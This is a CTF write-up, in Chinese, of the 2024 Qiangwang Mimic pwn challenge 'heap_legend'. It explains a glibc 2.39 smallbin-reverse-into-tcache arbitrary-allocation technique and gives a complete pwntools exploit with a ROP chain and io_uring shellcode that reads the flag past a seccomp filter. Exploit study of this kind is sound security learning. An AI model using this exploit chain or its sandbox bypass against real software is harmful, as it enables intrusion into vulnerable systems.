2024 强网拟态线下 Pwn heap_legend Writeup

题目逻辑

UAF,没有show功能

取而代之的是提供了heap和libc地址的12-15位,也就是从main_arena到stdout时要爆破的那一位

既然如此,第一步一定是任意地址分配到stdout上修改stdout泄漏

泄漏地址之后就可以用tcache任意地址写了

存在sandbox,过滤了open,openat,openat2,需要使用io_uring来打开flag文件

利用思路

类似house of lore,在2.39版本中smallbin会和fastbin一样被reverse进tcache中

reverse的时候会检测victim->bk->fd != victim

bck = victim->bk;
	  if (__glibc_unlikely (bck->fd != victim))
	    malloc_printerr ("malloc(): smallbin double linked list corrupted");

而这个检测仅仅针对那个要被再次分配出去的smallbin,此时如果通过了检测,并且tcache对应size的链表仍然还有位置,那么就会触发reverse,将剩下的smallbin reverse into tcache

if (tcache != NULL && tc_idx < mp_.tcache_bins)
    {
      mchunkptr tc_victim;

      /* While bin not empty and tcache not full, copy chunks over.  */
      while (tcache->counts[tc_idx] < mp_.tcache_count
	     && (tc_victim = last (bin)) != bin)
		{
	    	  ...
		}
    }

#define last(b)      ((b)->bk)

在这个过程中,对于smallbin双链表的合法性检测只有victim->bk != victim,因此直接伪造bk,就可以将bk对应的地址写入tcache链表,利用tcache实现更简单的任意地址分配

但是我们很难保证伪造的bk所在处地址的值,而且由于smallbin是双向循环链表,指向NULL也并不是一个合理的选择。对于伪造的bk而言,在下一次循环开始,victim就会被设置为伪造的bk,并且这个循环会不断的执行下去,除了合法的smallbin链表以外,很难让伪造的bk满足这样的条件。这就和house of lore的问题一样,除了合法的smallbin链表自身以外,很难有一个能满足后续检测的内存区域

while (tcache->counts[tc_idx] < mp_.tcache_count
     && (tc_victim = last (bin)) != bin)

也就是说需要在合适的时机,也就是tc_victim为fake_bk这一次循环执行完之后跳出循环,那么唯一的方法就是让tcache链表满员,从而跳出循环。

总结一下就是

  1. 创建一个含有7个chunk的smallbin链表
  2. 修改最后一个smallbin的bk为evil_addr
  3. 满足evil_addr + 0x18处为可写地址
  4. 分配对应size的chunk,触发smallbin reverse into tcache

满足上述条件即可将evil_addr写入tcache链表,达成任意地址分配

EXP

from pwn import*
#r=remote("127.0.0.1",8888)
r=process('./pwn')
context.log_level='debug'
context.arch="amd64"

def new(size):
	r.recvuntil("> ")
	r.sendline("1")
	r.recvuntil("? ")
	r.sendline(str(size))
	

def delete(idx):
	r.recvuntil("> ")
	r.sendline("2")
	r.recvuntil("? ")
	r.sendline(str(idx))

def edit_request(idx):
	r.recvuntil("> ")
	r.sendline("3")
	r.recvuntil(": ")
	r.sendline(str(idx))
	
def edit(idx,offset,content):
	r.recvuntil("> ")
	r.sendline("3")
	r.recvuntil(": ")
	r.sendline("111111")
	r.recvuntil("? ")
	r.sendline(str(idx))
	r.recvuntil("? ")
	r.sendline(str(offset))
	r.recvuntil(">")
	r.send(content)

def show():
	r.recvuntil("> ")
	r.sendline("3")
	r.recvuntil(": ")
	r.sendline("114514")

for i in range(24): new(0xf8)

edit_request(19)

show()
r.recvuntil(": ")
mix_offset=int(r.recvuntil("\n",drop=True),16)
heap_offset=mix_offset//0x10
libc_offset=mix_offset%0x10

for i in range(7): delete(i)

for i in range(7,21,2): delete(i)

for i in range(7): new(0xf8)

new(0x418)

edit(0,8,"\x50"+p8(((libc_offset-3)&0xf)*0x10+0x5))
gdb.attach(r)
new(0xf8)
new(0xf8)

edit_request(33)
edit(1,0x60,p16(0x1800))
edit(1,0x80,"\x00")

libc_base=u64(r.recv(8))-0x204644
success("libc_base: "+hex(libc_base))

edit(1,0x80,p64(libc_base+0x204560))

heap_base=(u64(r.recv(8))^((libc_base+0x204560)>>12))-0x15a0
success("heap_base: "+hex(heap_base))

edit(1,0x80,p64(libc_base+0x20ad58)+p64(libc_base+0x20ad60)*2)

stack=u64(r.recv(8))-0x1a8
success("stack: "+hex(stack))

edit(0,0,p64(stack^((heap_base+0x15a0)>>12)))

new(0xf8)
new(0xf8)

edit_request(35)

pop_rdi=libc_base+0x10f75b
pop_rsi=libc_base+0x110a4d
pop_rdx_pop_4=libc_base+0xb502c
pop_rax=libc_base+0xdd237
syscall=libc_base+0x98fa6

payload=""
payload+=p64(pop_rdi)+p64(heap_base)+p64(pop_rsi)+p64(0x1000)+p64(pop_rdx_pop_4)+p64(0x7)+p64(0)*0x4+p64(pop_rax)+p64(10)+p64(syscall)
payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(heap_base)+p64(pop_rdx_pop_4)+p64(0x1000)+p64(0)*0x4+p64(pop_rax)+p64(0)+p64(syscall)
payload+=p64(heap_base)

#gdb.attach(r,"b *"+hex(syscall))

edit(2,0x8,payload.ljust(0xf0,"\x00"))

shell=""
shell+=asm("""
		mov	rax, 0x67616c66
		push	rax
		mov	r15, rsp
		sub	rsp, 0x78
		mov	ecx, 0xf
		xor	rax, rax
		mov	rdi, rsp
		mov	rbx, rdi
		rep stosq qword ptr [rdi], rax
	""")
shell+=asm(shellcraft.syscall(425, 16, "rbx"))
shell+=asm("""
		mov	r12, rax
		sub	rsp, 0x18
	""")
shell+=asm(shellcraft.mmap(0, 0x1000, 3, 1, "r12", 0))
shell+=asm("""
		mov	qword ptr [rsp], rax
	""")
shell+=asm(shellcraft.mmap(0, 0x1000, 3, 1, "r12", 0x8000000))
shell+=asm("""
		mov	qword ptr [rsp + 0x8], rax
	""")
shell+=asm(shellcraft.mmap(0, 0x1000, 3, 1, "r12", 0x10000000))
shell+=asm("""
		mov	qword ptr [rsp + 0x10], rax
	""")
shell+=asm("""
		mov	rax, qword ptr [rsp + 0x10]
		mov	rax, qword ptr [rsp + 0x10]
		mov	byte ptr [rax], 0x12
		mov	byte ptr [rax + 1], 0x10
		mov	dword ptr [rax + 4], 0xffffff9c
		mov	qword ptr [rax + 0x10], r15
	""")
shell+=asm("""
		mov	rax, qword ptr [rbx + 0x40]
		mov	rdx, qword ptr [rsp]
		add	rax, rdx
		mov	dword ptr [rax], 0
	""")
shell+=asm("""
		mov	eax, dword ptr [rbx + 0x2c]
		mov	edx, eax
		mov	rax, qword ptr [rsp]
		add	rax, rdx
		add	dword ptr [rax], 1
	""")
shell+=asm(shellcraft.syscall(426, "r12", 1, 1, 1, 0, 0))
shell+=asm("""
		mov	eax, dword ptr [rbx + 0x64]
		mov	edx, eax
		mov	rax, qword ptr [rsp + 0x8]
		add	rax, rdx
		mov	eax, dword ptr [rax + 8]
	""")
	
shell+=asm(shellcraft.read("rax", "r15", 0x40))
shell+=asm(shellcraft.write(1, "r15", 0x40))

r.send(shell)

r.interactive()

评论

  1. 匿名
    3 周前
    2024-12-05 20:53:15

    师傅,破坏 _IO_2_1stderr 后似乎在 puts 函数里面阻塞了

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇